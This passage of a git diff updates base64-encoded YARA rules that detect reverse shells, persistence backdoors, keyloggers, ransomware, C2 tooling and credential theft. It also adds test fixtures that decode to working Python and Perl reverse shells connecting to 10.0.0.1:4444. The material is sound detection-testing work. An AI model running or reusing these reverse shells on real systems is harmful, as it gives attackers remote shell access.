-bmNlIHdpdGggbWFsaWNpb3VzIHBheWxvYWRzIChzaGVsbCBjb21tYW5kcywgU1NIIGtleSBpbmpl -Y3Rpb24sIGhpZGRlbiByb290IHVzZXJzKSINCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2FyZSIN -CiAgICAgICAgc2V2ZXJpdHkgPSAiSElHSCINCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjc1Ig0K -ICAgICAgICByZWZlcmVuY2UgPSAiaHR0cHM6Ly9naXRodWIuY29tL05lbzIzeDAvc2lnbmF0dXJl -LWJhc2UiDQogICAgc3RyaW5nczoNCiAgICAgICAgJGhpZGRlbl91c2VyICAgICAgID0gL3VzZXJh -ZGRccysuKi1vXHMrLXVccyswLyBub2Nhc2UNCiAgICAgICAgJGNyb25fcGVyc2lzdCAgICAgID0g -L2Nyb250YWJccy4qKGN1cmx8d2dldHxuY3xiYXNofHB5dGhvbikvIG5vY2FzZQ0KICAgICAgICAk -c3NoX2luamVjdCAgICAgICAgPSAvZWNob1xzKy4qPj4/XHMqLipcLnNzaFwvYXV0aG9yaXplZF9r -ZXlzLyBub2Nhc2UNCiAgICAgICAgJHN5c3RlbWRfcGVyc2lzdCAgID0gL1xbU2VydmljZVxdLipF -eGVjU3RhcnQuKihuY3xiYXNofHB5dGhvbnxjdXJsKS8gbm9jYXNlDQogICAgICAgICRiYXNocmNf -cGVyc2lzdCAgICA9IC9lY2hvXHMrLio+Pj9ccyouKlwuYmFzaHJjLyBub2Nhc2UNCiAgICAgICAg -JHByb2ZpbGVfcGVyc2lzdCAgID0gL2VjaG9ccysuKj4+P1xzKi4qXC5wcm9maWxlLyBub2Nhc2UN -CiAgICAgICAgJGluaXRfcGVyc2lzdCAgICAgID0gL1wvZXRjXC9pbml0XC5kXC8uKihuY3xiYXNo -fHJldmVyc2UpLyBub2Nhc2UNCiAgICAgICAgJGxkX3ByZWxvYWQgICAgICAgID0gL0xEX1BSRUxP -QUQuKlwuc28vIG5vY2FzZQ0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0N -Cg0KcnVsZSBrZXlsb2dnZXJfaW5kaWNhdG9ycw0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2Ny -aXB0aW9uID0gIktleWxvZ2dlciBmdW5jdGlvbmFsaXR5IGluIHNjcmlwdHMgb3Igc291cmNlIGNv -ZGUiDQogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiDQogICAgICAgIHNldmVyaXR5ID0gIkhJ -R0giDQogICAgICAgIGNvbmZpZGVuY2UgPSAiMC43Ig0KICAgIHN0cmluZ3M6DQogICAgICAgICRw -eW5wdXQgICAgICAgICA9IC9mcm9tXHMrcHlucHV0XC5rZXlib2FyZFxzK2ltcG9ydC8gbm9jYXNl -DQogICAgICAgICRrZXlib2FyZF9ob29rICA9IC9rZXlib2FyZFwuKG9uX3ByZXNzfGhvb2t8b25f -cmVsZWFzZSkvIG5vY2FzZQ0KICAgICAgICAkeGlucHV0X3Rlc3QgICAgPSAveGlucHV0XHMrdGVz -dC8gbm9jYXNlDQogICAgICAgICRsb2drZXlzICAgICAgICA9IC9sb2drZXlzXHMrLS1zdGFydC8g -bm9jYXNlDQogICAgICAgICRrZXliZF9ldmVudCAgICA9IC8oR2V0QXN5bmNLZXlTdGF0ZXxTZXRX -aW5kb3dzSG9va0V4LipXSF9LRVlCT0FSRCkvIG5vY2FzZQ0KICAgIGNvbmRpdGlvbjoNCiAgICAg -ICAgYW55IG9mIHRoZW0NCn0NCg0KcnVsZSByYW5zb213YXJlX2JlaGF2aW9yDQp7DQogICAgbWV0 -YToNCiAgICAgICAgZGVzY3JpcHRpb24gPSAiUmFuc29td2FyZS1saWtlIHBhdHRlcm5zIChtYXNz -IGVuY3J5cHRpb24sIHJhbnNvbSBub3RlcykiDQogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUi -DQogICAgICAgIHNldmVyaXR5ID0gIkNSSVRJQ0FMIg0KICAgICAgICBjb25maWRlbmNlID0gIjAu -OCINCiAgICBzdHJpbmdzOg0KICAgICAgICAkd2Fsa19lbmNyeXB0ICAgPSAvb3NcLndhbGtccypc -KC4qXC4oZW5jcnlwdHxjaXBoZXIpLw0KICAgICAgICAkcmFuc29tX25vdGUgICAgPSAvKHlvdXJc -cytmaWxlc1xzKyhoYXZlXHMrYmVlbnxhcmUpXHMrZW5jcnlwdGVkfHBheVxzKy4qYml0Y29pbnxz -ZW5kXHMrLipidGMpLyBub2Nhc2UNCiAgICAgICAgJGV4dF9yZW5hbWUgICAgID0gL29zXC5yZW5h -bWVccypcKC4qXCtccypbJyJdXC4obG9ja2VkfGVuY3J5cHRlZHxjcnlwdHxlbmMpWyciXVxzKlwp -Lw0KICAgICAgICAkbWFzc19vdmVyd3JpdGUgPSAvb3NcLndhbGtccypcKC4qb3BlblxzKlwoLipb -J1wiXXdiWydcIl1cKS8NCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBvZiB0aGVtDQp9DQoN -CnJ1bGUgYzJfZnJhbWV3b3JrX2luZGljYXRvcnMNCnsNCiAgICBtZXRhOg0KICAgICAgICBkZXNj -cmlwdGlvbiA9ICJDb21tYW5kLWFuZC1jb250cm9sIGZyYW1ld29yayBpbmRpY2F0b3JzIChDb2Jh -bHQgU3RyaWtlLCBNZXRhc3Bsb2l0LCBTbGl2ZXIsIGV0Yy4pIg0KICAgICAgICBjYXRlZ29yeSA9 -ICJtYWx3YXJlIg0KICAgICAgICBzZXZlcml0eSA9ICJDUklUSUNBTCINCiAgICAgICAgY29uZmlk -ZW5jZSA9ICIwLjg1Ig0KICAgICAgICByZWZlcmVuY2UgPSAiaHR0cHM6Ly9naXRodWIuY29tL05l -bzIzeDAvc2lnbmF0dXJlLWJhc2UiDQogICAgc3RyaW5nczoNCiAgICAgICAgJGNvYmFsdF9zdHJp -a2UgID0gImNvYmFsdHN0cmlrZSIgbm9jYXNlDQogICAgICAgICRtZXRlcnByZXRlciAgICA9ICJt -ZXRlcnByZXRlciIgbm9jYXNlDQogICAgICAgICRtZXRhc3Bsb2l0ICAgICA9IC9tZXRhc3Bsb2l0 -LioocGF5bG9hZHxleHBsb2l0fHN0YWdlcikvIG5vY2FzZQ0KICAgICAgICAkZW1waXJlICAgICAg -ICAgPSAvcG93ZXJzaGVsbC4qZW1waXJlLyBub2Nhc2UNCiAgICAgICAgJHNsaXZlcl9jMiAgICAg -ID0gL3NsaXZlci4qKGltcGxhbnR8YmVhY29ufHNlc3Npb24pLyBub2Nhc2UNCiAgICAgICAgJGNv -dmVuYW50ICAgICAgID0gL0NvdmVuYW50LiooR3J1bnR8TGlzdGVuZXIpLyBub2Nhc2UNCiAgICAg -ICAgJGhhdm9jX2MyICAgICAgID0gL2hhdm9jLiooZGVtb258dGVhbXNlcnZlcikvIG5vY2FzZQ0K -ICAgICAgICAkYmVhY29uX2NvbmZpZyAgPSAvKEJlYWNvblR5cGV8QzJTZXJ2ZXJ8UHVibGljS2V5 -Lip3YXRlcm1hcmspLyBub2Nhc2UNCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBvZiB0aGVt -DQp9DQoNCnJ1bGUgaW5mb19zdGVhbGVyDQp7DQogICAgbWV0YToNCiAgICAgICAgZGVzY3JpcHRp -b24gPSAiSW5mb3JtYXRpb24gc3RlYWxlciBwYXR0ZXJucyAoY3JlZGVudGlhbCBoYXJ2ZXN0aW5n -LCBicm93c2VyIGRhdGEgdGhlZnQpIg0KICAgICAgICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0KICAg -ICAgICBzZXZlcml0eSA9ICJISUdIIg0KICAgICAgICBjb25maWRlbmNlID0gIjAuNzUiDQogICAg +XCguezAsMjAwfVNPQ0tfU1RSRUFNLnswLDIwMH1cLmNvbm5lY3RcKC57MCwzMDB9KGR1cDJccypc +KC57MCw1MH1cLmZpbGVub1woXClccyosXHMqMFxzKlwpLnswLDMwMH0oc3VicHJvY2Vzc1wuKGNh +bGx8UG9wZW58cnVuKVxzKlwoXHMqXFw/XFs/XHMqXFw/W1wiJ11cXD8oXC9iaW5cLyk/KHNofGJh +c2h8ZGFzaHxhc2h8enNofGtzaHxjc2gpXGJ8b3NcLnN5c3RlbVxzKlwoXHMqXFw/W1wiJ11cXD8o +XC9iaW5cLyk/KHNofGJhc2h8ZGFzaHxhc2h8enNofGtzaHxjc2gpXGJ8cHR5XC5zcGF3blxzKlwo +XHMqXFw/XFs/XHMqXFw/W1wiJ11cXD8oXC9iaW5cLyk/KHNofGJhc2h8ZGFzaHxhc2h8enNofGtz +aHxjc2gpXGJ8b3NcLmV4ZWNbbHZdXHcqXHMqXChccypcXD9bXCInXVxcPyhcL2JpblwvKT8oc2h8 +YmFzaHxkYXNofGFzaHx6c2h8a3NofGNzaClcYil8c3VicHJvY2Vzc1wuKGNhbGx8UG9wZW58cnVu +KVxzKlwoXHMqXFw/XFs/XHMqXFw/W1wiJ11cXD8oXC9iaW5cLyk/KHNofGJhc2h8ZGFzaHxhc2h8 +enNofGtzaHxjc2gpXGIuezAsMjAwfXN0ZGluXHMqPVxzKlx3K1wuZmlsZW5vXChcKSkvcw0KICAg +ICAgICAkcGVybF9zb2NrZXQgICAgICA9IC91c2VccytTb2NrZXQ7LnswLDIwMH1zb2NrZXRccypc +KFxzKlNPQ0suezAsMjAwfWNvbm5lY3RccypcKC57MCwzMDB9b3BlblxzKlwoP1xzKlNURChJTnxP +VVR8RVJSKS57MCwyMDB9ZXhlY1xzKlwoP1xzKlxcP1tcIiddXFw/KFwvYmluXC8pPyhzaHxiYXNo +fGRhc2h8YXNofHpzaHxrc2h8Y3NoKVxiL3MNCiAgICAgICAgJHBocF9mc29jayAgICAgICAgPSAv +ZnNvY2tvcGVuXHMqXCguKmV4ZWNccypcKC8gbm9jYXNlDQogICAgICAgICRydWJ5X3RjcHNvY2tl +dCAgID0gL1RDUFNvY2tldFwuXHMqbmV3XHMqXCguKmV4ZWNccypcKC8NCiAgICAgICAgJHBvd2Vy +c2hlbGxfdGNwICAgPSAvTmV3LU9iamVjdFxzK1N5c3RlbVwuTmV0XC5Tb2NrZXRzXC5UQ1BDbGll +bnQvIG5vY2FzZQ0KICAgICAgICAkc29jYXRfc2hlbGwgICAgICA9IC9zb2NhdFxzKy4qRVhFQy4q +XC9iaW5cLyhiYSk/c2gvIG5vY2FzZQ0KICAgICAgICAkbWtmaWZvX3NoZWxsICAgICA9IC9ta2Zp +Zm9ccysuKlx8XHMqXC9iaW5cLyhiYSk/c2gvDQogICAgY29uZGl0aW9uOg0KICAgICAgICBhbnkg +b2YgdGhlbQ0KfQ0KDQpydWxlIGJhY2tkb29yX3BlcnNpc3RlbmNlDQp7DQogICAgbWV0YToNCiAg +ICAgICAgZGVzY3JpcHRpb24gPSAiQmFja2Rvb3IgcGVyc2lzdGVuY2Ugd2l0aCBtYWxpY2lvdXMg +cGF5bG9hZHMgKHNoZWxsIGNvbW1hbmRzLCBTU0gga2V5IGluamVjdGlvbiwgaGlkZGVuIHJvb3Qg +dXNlcnMpIg0KICAgICAgICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0KICAgICAgICBzZXZlcml0eSA9 +ICJISUdIIg0KICAgICAgICBjb25maWRlbmNlID0gIjAuNzUiDQogICAgICAgIHJlZmVyZW5jZSA9 +ICJodHRwczovL2dpdGh1Yi5jb20vTmVvMjN4MC9zaWduYXR1cmUtYmFzZSINCiAgICBzdHJpbmdz +Og0KICAgICAgICAkaGlkZGVuX3VzZXIgICAgICAgPSAvdXNlcmFkZFxzKy4qLW9ccystdVxzKzAv +IG5vY2FzZQ0KICAgICAgICAkY3Jvbl9wZXJzaXN0ICAgICAgPSAvY3JvbnRhYlxzLiooY3VybHx3 +Z2V0fG5jfGJhc2h8cHl0aG9uKS8gbm9jYXNlDQogICAgICAgICRzc2hfaW5qZWN0ICAgICAgICA9 +IC9lY2hvXHMrLio+Pj9ccyouKlwuc3NoXC9hdXRob3JpemVkX2tleXMvIG5vY2FzZQ0KICAgICAg +ICAkc3lzdGVtZF9wZXJzaXN0ICAgPSAvXFtTZXJ2aWNlXF0uKkV4ZWNTdGFydC4qKG5jfGJhc2h8 +cHl0aG9ufGN1cmwpLyBub2Nhc2UNCiAgICAgICAgJGJhc2hyY19wZXJzaXN0ICAgID0gL2VjaG9c +cysuKj4+P1xzKi4qXC5iYXNocmMvIG5vY2FzZQ0KICAgICAgICAkcHJvZmlsZV9wZXJzaXN0ICAg +PSAvZWNob1xzKy4qPj4/XHMqLipcLnByb2ZpbGUvIG5vY2FzZQ0KICAgICAgICAkaW5pdF9wZXJz +aXN0ICAgICAgPSAvXC9ldGNcL2luaXRcLmRcLy4qKG5jfGJhc2h8cmV2ZXJzZSkvIG5vY2FzZQ0K +ICAgICAgICAkbGRfcHJlbG9hZCAgICAgICAgPSAvTERfUFJFTE9BRC4qXC5zby8gbm9jYXNlDQog +ICAgY29uZGl0aW9uOg0KICAgICAgICBhbnkgb2YgdGhlbQ0KfQ0KDQpydWxlIGtleWxvZ2dlcl9p +bmRpY2F0b3JzDQp7DQogICAgbWV0YToNCiAgICAgICAgZGVzY3JpcHRpb24gPSAiS2V5bG9nZ2Vy +IGZ1bmN0aW9uYWxpdHkgaW4gc2NyaXB0cyBvciBzb3VyY2UgY29kZSINCiAgICAgICAgY2F0ZWdv +cnkgPSAibWFsd2FyZSINCiAgICAgICAgc2V2ZXJpdHkgPSAiSElHSCINCiAgICAgICAgY29uZmlk +ZW5jZSA9ICIwLjciDQogICAgc3RyaW5nczoNCiAgICAgICAgJHB5bnB1dCAgICAgICAgID0gL2Zy +b21ccytweW5wdXRcLmtleWJvYXJkXHMraW1wb3J0LyBub2Nhc2UNCiAgICAgICAgJGtleWJvYXJk +X2hvb2sgID0gL2tleWJvYXJkXC4ob25fcHJlc3N8aG9va3xvbl9yZWxlYXNlKS8gbm9jYXNlDQog +ICAgICAgICR4aW5wdXRfdGVzdCAgICA9IC94aW5wdXRccyt0ZXN0LyBub2Nhc2UNCiAgICAgICAg +JGxvZ2tleXMgICAgICAgID0gL2xvZ2tleXNccystLXN0YXJ0LyBub2Nhc2UNCiAgICAgICAgJGtl +eWJkX2V2ZW50ICAgID0gLyhHZXRBc3luY0tleVN0YXRlfFNldFdpbmRvd3NIb29rRXguKldIX0tF +WUJPQVJEKS8gbm9jYXNlDQogICAgY29uZGl0aW9uOg0KICAgICAgICBhbnkgb2YgdGhlbQ0KfQ0K +DQpydWxlIHJhbnNvbXdhcmVfYmVoYXZpb3INCnsNCiAgICBtZXRhOg0KICAgICAgICBkZXNjcmlw +dGlvbiA9ICJSYW5zb213YXJlLWxpa2UgcGF0dGVybnMgKG1hc3MgZW5jcnlwdGlvbiwgcmFuc29t +IG5vdGVzKSINCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2FyZSINCiAgICAgICAgc2V2ZXJpdHkg +PSAiQ1JJVElDQUwiDQogICAgICAgIGNvbmZpZGVuY2UgPSAiMC44Ig0KICAgIHN0cmluZ3M6DQog +ICAgICAgICR3YWxrX2VuY3J5cHQgICA9IC9vc1wud2Fsa1xzKlwoLipcLihlbmNyeXB0fGNpcGhl +cikvDQogICAgICAgICRyYW5zb21fbm90ZSAgICA9IC8oeW91clxzK2ZpbGVzXHMrKGhhdmVccyti +ZWVufGFyZSlccytlbmNyeXB0ZWR8cGF5XHMrLipiaXRjb2lufHNlbmRccysuKmJ0YykvIG5vY2Fz +ZQ0KICAgICAgICAkZXh0X3JlbmFtZSAgICAgPSAvb3NcLnJlbmFtZVxzKlwoLipcK1xzKlsnIl1c +Lihsb2NrZWR8ZW5jcnlwdGVkfGNyeXB0fGVuYylbJyJdXHMqXCkvDQogICAgICAgICRtYXNzX292 +ZXJ3cml0ZSA9IC9vc1wud2Fsa1xzKlwoLipvcGVuXHMqXCguKlsnXCJdd2JbJ1wiXVwpLw0KICAg +IGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0NCg0KcnVsZSBjMl9mcmFtZXdvcmtf +aW5kaWNhdG9ycw0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2NyaXB0aW9uID0gIkNvbW1hbmQt +YW5kLWNvbnRyb2wgZnJhbWV3b3JrIGluZGljYXRvcnMgKENvYmFsdCBTdHJpa2UsIE1ldGFzcGxv +aXQsIFNsaXZlciwgZXRjLikiDQogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiDQogICAgICAg +IHNldmVyaXR5ID0gIkNSSVRJQ0FMIg0KICAgICAgICBjb25maWRlbmNlID0gIjAuODUiDQogICAg ICAgIHJlZmVyZW5jZSA9ICJodHRwczovL2dpdGh1Yi5jb20vTmVvMjN4MC9zaWduYXR1cmUtYmFz -ZSINCiAgICBzdHJpbmdzOg0KICAgICAgICAkY2hyb21lX2xvZ2luICAgICA9IC9DaHJvbWUuKkxv -Z2luXHMqRGF0YS8gbm9jYXNlDQogICAgICAgICRmaXJlZm94X2xvZ2lucyAgID0gL2xvZ2luc1wu -anNvbi4qZmlyZWZveC8gbm9jYXNlDQogICAgICAgICRicm93c2VyX2Nvb2tpZXMgID0gL0Nvb2tp -ZXMuKihjaHJvbWV8ZmlyZWZveHxlZGdlfG9wZXJhKS8gbm9jYXNlDQogICAgICAgICR3YWxsZXRf -c3RlYWwgICAgID0gL3dhbGxldFwuZGF0LyBub2Nhc2UNCiAgICAgICAgJG1pbWlrYXR6ICAgICAg -ICAgPSAibWltaWthdHoiIG5vY2FzZQ0KICAgICAgICAkbGF6YWduZSAgICAgICAgICA9ICJsYXph -Z25lIiBub2Nhc2UNCiAgICAgICAgJGNyZWRfZHVtcF9zYW0gICAgPSAvcmVnXHMrc2F2ZVxzKy4q -XFxzYW0vIG5vY2FzZQ0KICAgICAgICAkbnRkc19kdW1wICAgICAgICA9IC9udGRzXC5kaXQvIG5v -Y2FzZQ0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0NCg== +ZSINCiAgICBzdHJpbmdzOg0KICAgICAgICAkY29iYWx0X3N0cmlrZSAgPSAiY29iYWx0c3RyaWtl +IiBub2Nhc2UNCiAgICAgICAgJG1ldGVycHJldGVyICAgID0gIm1ldGVycHJldGVyIiBub2Nhc2UN +CiAgICAgICAgJG1ldGFzcGxvaXQgICAgID0gL21ldGFzcGxvaXQuKihwYXlsb2FkfGV4cGxvaXR8 +c3RhZ2VyKS8gbm9jYXNlDQogICAgICAgICRlbXBpcmUgICAgICAgICA9IC9wb3dlcnNoZWxsLipl +bXBpcmUvIG5vY2FzZQ0KICAgICAgICAkc2xpdmVyX2MyICAgICAgPSAvc2xpdmVyLiooaW1wbGFu +dHxiZWFjb258c2Vzc2lvbikvIG5vY2FzZQ0KICAgICAgICAkY292ZW5hbnQgICAgICAgPSAvQ292 +ZW5hbnQuKihHcnVudHxMaXN0ZW5lcikvIG5vY2FzZQ0KICAgICAgICAkaGF2b2NfYzIgICAgICAg +PSAvaGF2b2MuKihkZW1vbnx0ZWFtc2VydmVyKS8gbm9jYXNlDQogICAgICAgICRiZWFjb25fY29u +ZmlnICA9IC8oQmVhY29uVHlwZXxDMlNlcnZlcnxQdWJsaWNLZXkuKndhdGVybWFyaykvIG5vY2Fz +ZQ0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0NCg0KcnVsZSBpbmZvX3N0 +ZWFsZXINCnsNCiAgICBtZXRhOg0KICAgICAgICBkZXNjcmlwdGlvbiA9ICJJbmZvcm1hdGlvbiBz +dGVhbGVyIHBhdHRlcm5zIChjcmVkZW50aWFsIGhhcnZlc3RpbmcsIGJyb3dzZXIgZGF0YSB0aGVm +dCkiDQogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiDQogICAgICAgIHNldmVyaXR5ID0gIkhJ +R0giDQogICAgICAgIGNvbmZpZGVuY2UgPSAiMC43NSINCiAgICAgICAgcmVmZXJlbmNlID0gImh0 +dHBzOi8vZ2l0aHViLmNvbS9OZW8yM3gwL3NpZ25hdHVyZS1iYXNlIg0KICAgIHN0cmluZ3M6DQog +ICAgICAgICRjaHJvbWVfbG9naW4gICAgID0gL0Nocm9tZS4qTG9naW5ccypEYXRhLyBub2Nhc2UN +CiAgICAgICAgJGZpcmVmb3hfbG9naW5zICAgPSAvbG9naW5zXC5qc29uLipmaXJlZm94LyBub2Nh +c2UNCiAgICAgICAgJGJyb3dzZXJfY29va2llcyAgPSAvQ29va2llcy4qKGNocm9tZXxmaXJlZm94 +fGVkZ2V8b3BlcmEpLyBub2Nhc2UNCiAgICAgICAgJHdhbGxldF9zdGVhbCAgICAgPSAvd2FsbGV0 +XC5kYXQvIG5vY2FzZQ0KICAgICAgICAkbWltaWthdHogICAgICAgICA9ICJtaW1pa2F0eiIgbm9j +YXNlDQogICAgICAgICRsYXphZ25lICAgICAgICAgID0gImxhemFnbmUiIG5vY2FzZQ0KICAgICAg +ICAkY3JlZF9kdW1wX3NhbSAgICA9IC9yZWdccytzYXZlXHMrLipcXHNhbS8gbm9jYXNlDQogICAg +ICAgICRudGRzX2R1bXAgICAgICAgID0gL250ZHNcLmRpdC8gbm9jYXNlDQogICAgY29uZGl0aW9u +Og0KICAgICAgICBhbnkgb2YgdGhlbQ0KfQ0K diff --git a/tests/nodes/analyzers/test_static_yara.py b/tests/nodes/analyzers/test_static_yara.py index 4a6ce2553..11d3889f3 100644 --- a/tests/nodes/analyzers/test_static_yara.py +++ b/tests/nodes/analyzers/test_static_yara.py @@ -201,6 +201,115 @@ def _perl_stdin_reopen_no_exec_fixture() -> str: ).decode() +def _python_dup2_execl_reverse_shell_fixture() -> str: + """A dup2-based Python reverse shell ending in ``os.execl``, not ``execve``. + + The prior fix's exec alternation only recognized ``execve``, so this + equally real ``os.execl("/bin/sh", "sh", "-i")`` form went undetected. + """ + return base64.b64decode( + "aW1wb3J0IHNvY2tldCwgb3MKcyA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNv" + "Y2tldC5TT0NLX1NUUkVBTSkKcy5jb25uZWN0KCgiMTAuMC4wLjEiLCA0NDQ0KSkKb3MuZHVw" + "MihzLmZpbGVubygpLCAwKQpvcy5kdXAyKHMuZmlsZW5vKCksIDEpCm9zLmR1cDIocy5maWxl" + "bm8oKSwgMikKb3MuZXhlY2woIi9iaW4vc2giLCAic2giLCAiLWkiKQo=" + ).decode() + + +def _python_dup2_pty_spawn_reverse_shell_fixture() -> str: + """A dup2-based Python reverse shell ending in ``pty.spawn([...])``. + + ``pty.spawn`` is commonly called with a list argument, the same as + ``subprocess.call``/``Popen``/``run``, but the prior fix's alternation + only allowed the optional ``[`` bracket on the ``subprocess.*`` branch. + """ + return base64.b64decode( + "aW1wb3J0IHNvY2tldCwgb3MsIHB0eQpzID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5F" + "VCwgc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCIxMC4wLjAuMSIsIDQ0NDQpKQpv" + "cy5kdXAyKHMuZmlsZW5vKCksIDApCm9zLmR1cDIocy5maWxlbm8oKSwgMSkKb3MuZHVwMihz" + "LmZpbGVubygpLCAyKQpwdHkuc3Bhd24oWyIvYmluL3NoIiwgIi1pIl0pCg==" + ).decode() + + +def _python_fileno_kwarg_reverse_shell_fixture() -> str: + """A Python reverse shell that redirects via ``stdin=``/``stdout=``/ + ``stderr=`` keyword arguments to ``subprocess.call`` instead of ``os.dup2``. + + Both forms wire the socket's descriptor onto the child's standard + streams; requiring ``dup2(`` unconditionally missed this equally valid + and commonly used form. + """ + return base64.b64decode( + "aW1wb3J0IHNvY2tldCwgc3VicHJvY2VzcwpzID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZf" + "SU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCIxMC4wLjAuMSIsIDQ0NDQp" + "KQpzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0sIHN0ZGluPXMuZmlsZW5vKCks" + "IHN0ZG91dD1zLmZpbGVubygpLCBzdGRlcnI9cy5maWxlbm8oKSkK" + ).decode() + + +def _python_dup2_nonshell_helper_fixture() -> str: + """``os.dup2`` onto stdin followed by a non-shell helper whose name has + ``sh`` as a mere prefix (``sha256sum``), not a shell executable. + + The shell-name alternatives had no boundary after ``sh``, so ``\\w*sh`` + matched the leading two characters of ``sha256sum`` and misclassified + this as a CRITICAL ``reverse_shell``/YR1 finding. + """ + return base64.b64decode( + "aW1wb3J0IHNvY2tldCwgb3MsIHN1YnByb2Nlc3MKcyA9IHNvY2tldC5zb2NrZXQoc29ja2V0" + "LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVBTSkKcy5jb25uZWN0KCgiMTAuMC4wLjEiLCA0" + "NDQ0KSkKb3MuZHVwMihzLmZpbGVubygpLCAwKQpzdWJwcm9jZXNzLnJ1bihbInNoYTI1NnN1" + "bSJdKQo=" + ).decode() + + +def _python_dup2_unrelated_local_logging_fixture() -> str: + """A client that closes its socket, then redirects an unrelated log file's + descriptor onto stdout (``fd`` 1, never ``fd`` 0/stdin) before running a + shell for local housekeeping. + + Requiring any ``dup2(`` accepted this local-logging redirection as + corroborating evidence even though the socket itself is never wired to + the shell's stdin — no remote command channel exists. Binding the + ``dup2`` evidence to descriptor 0 (stdin) excludes this. + """ + return base64.b64decode( + "aW1wb3J0IHNvY2tldCwgb3MsIHN1YnByb2Nlc3MKcyA9IHNvY2tldC5zb2NrZXQoc29ja2V0" + "LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVBTSkKcy5jb25uZWN0KCgiMTAuMC4wLjEiLCA0" + "NDQ0KSkKcy5zZW5kKGIiaGVhbHRoIGNoZWNrIikKcy5jbG9zZSgpCmxvZyA9IG9wZW4oIm91" + "dHB1dC5sb2ciLCAiYSIpCm9zLmR1cDIobG9nLmZpbGVubygpLCAxKQpzdWJwcm9jZXNzLnJ1" + "bihbIi9iaW4vc2giLCAiLWMiLCAiZGF0ZSJdKQo=" + ).decode() + + +def _multiline_perl_socket_reverse_shell_no_parens_fixture() -> str: + """A multiline Perl reverse shell using the parenthesis-free forms of + ``open`` and ``exec``, both valid Perl syntax. + + Requiring parentheses around both calls missed this equally real form. + """ + return base64.b64decode( + "dXNlIFNvY2tldDsKc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sIGdldHBy" + "b3RvYnluYW1lKCJ0Y3AiKSk7CmNvbm5lY3QoU09DS0VULCBzb2NrYWRkcl9pbigkcG9ydCwg" + "aW5ldF9hdG9uKCRpcCkpKTsKb3BlbiBTVERJTiwgIjwmU09DS0VUIjsKb3BlbiBTVERPVVQs" + "ICI+JlNPQ0tFVCI7Cm9wZW4gU1RERVJSLCAiPiZTT0NLRVQiOwpleGVjICIvYmluL3NoIiwg" + "Ii1pIjsK" + ).decode() + + +def _perl_helper_exec_nonshell_prefix_fixture() -> str: + """Redirects STDIN onto the socket, then ``exec``s ``sha256sum`` — a + non-shell helper whose name merely has ``sh`` as a prefix. + + Mirrors `_python_dup2_nonshell_helper_fixture`'s boundary gap for Perl. + """ + return base64.b64decode( + "dXNlIFNvY2tldDsKc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sIGdldHBy" + "b3RvYnluYW1lKCJ0Y3AiKSk7CmNvbm5lY3QoU09DS0VULCBzb2NrYWRkcl9pbigkcG9ydCwg" + "aW5ldF9hdG9uKCRpcCkpKTsKb3BlbihTVERJTiwgIjwmU09DS0VUIik7CmV4ZWMoInNoYTI1" + "NnN1bSIpOwo=" + ).decode() + + def _has_rule(findings: list, rule_name: str) -> bool: """Return True when a finding message references a specific YARA rule.""" return any(rule_name in f.message for f in findings) @@ -818,6 +927,90 @@ def test_reverse_shell_rule_does_not_match_perl_client_that_reopens_stdin_withou ) assert not _has_rule(findings, "reverse_shell") + def test_reverse_shell_rule_matches_dup2_execl_python_shell(self): + """``os.execl`` must be recognized alongside ``os.execve`` as a + dup2-preceded shell-exec marker. See + `_python_dup2_execl_reverse_shell_fixture`. + """ + findings = _run_builtin( + _python_dup2_execl_reverse_shell_fixture(), + "scripts/backdoor.py", + ) + assert _has_rule(findings, "reverse_shell") + assert any(f.rule_id == "YR1" for f in findings) + + def test_reverse_shell_rule_matches_dup2_pty_spawn_list_python_shell(self): + """``pty.spawn([...])`` with a list argument must match, the same as + ``subprocess.call``/``Popen``/``run``. See + `_python_dup2_pty_spawn_reverse_shell_fixture`. + """ + findings = _run_builtin( + _python_dup2_pty_spawn_reverse_shell_fixture(), + "scripts/backdoor.py", + ) + assert _has_rule(findings, "reverse_shell") + assert any(f.rule_id == "YR1" for f in findings) + + def test_reverse_shell_rule_matches_fileno_kwarg_python_shell(self): + """``stdin=``/``stdout=``/``stderr=`` keyword redirection to + ``subprocess.call`` is equivalent evidence to ``os.dup2`` and must + also match. See `_python_fileno_kwarg_reverse_shell_fixture`. + """ + findings = _run_builtin( + _python_fileno_kwarg_reverse_shell_fixture(), + "scripts/backdoor.py", + ) + assert _has_rule(findings, "reverse_shell") + assert any(f.rule_id == "YR1" for f in findings) + + def test_reverse_shell_rule_does_not_match_python_dup2_nonshell_helper_with_sh_prefix(self): + """A non-shell helper whose name merely starts with ``sh`` (e.g. + ``sha256sum``) must NOT satisfy the shell-execution marker. See + `_python_dup2_nonshell_helper_fixture`: this must NOT match. + """ + findings = _run_builtin( + _python_dup2_nonshell_helper_fixture(), + "scripts/report.py", + ) + assert not _has_rule(findings, "reverse_shell") + + def 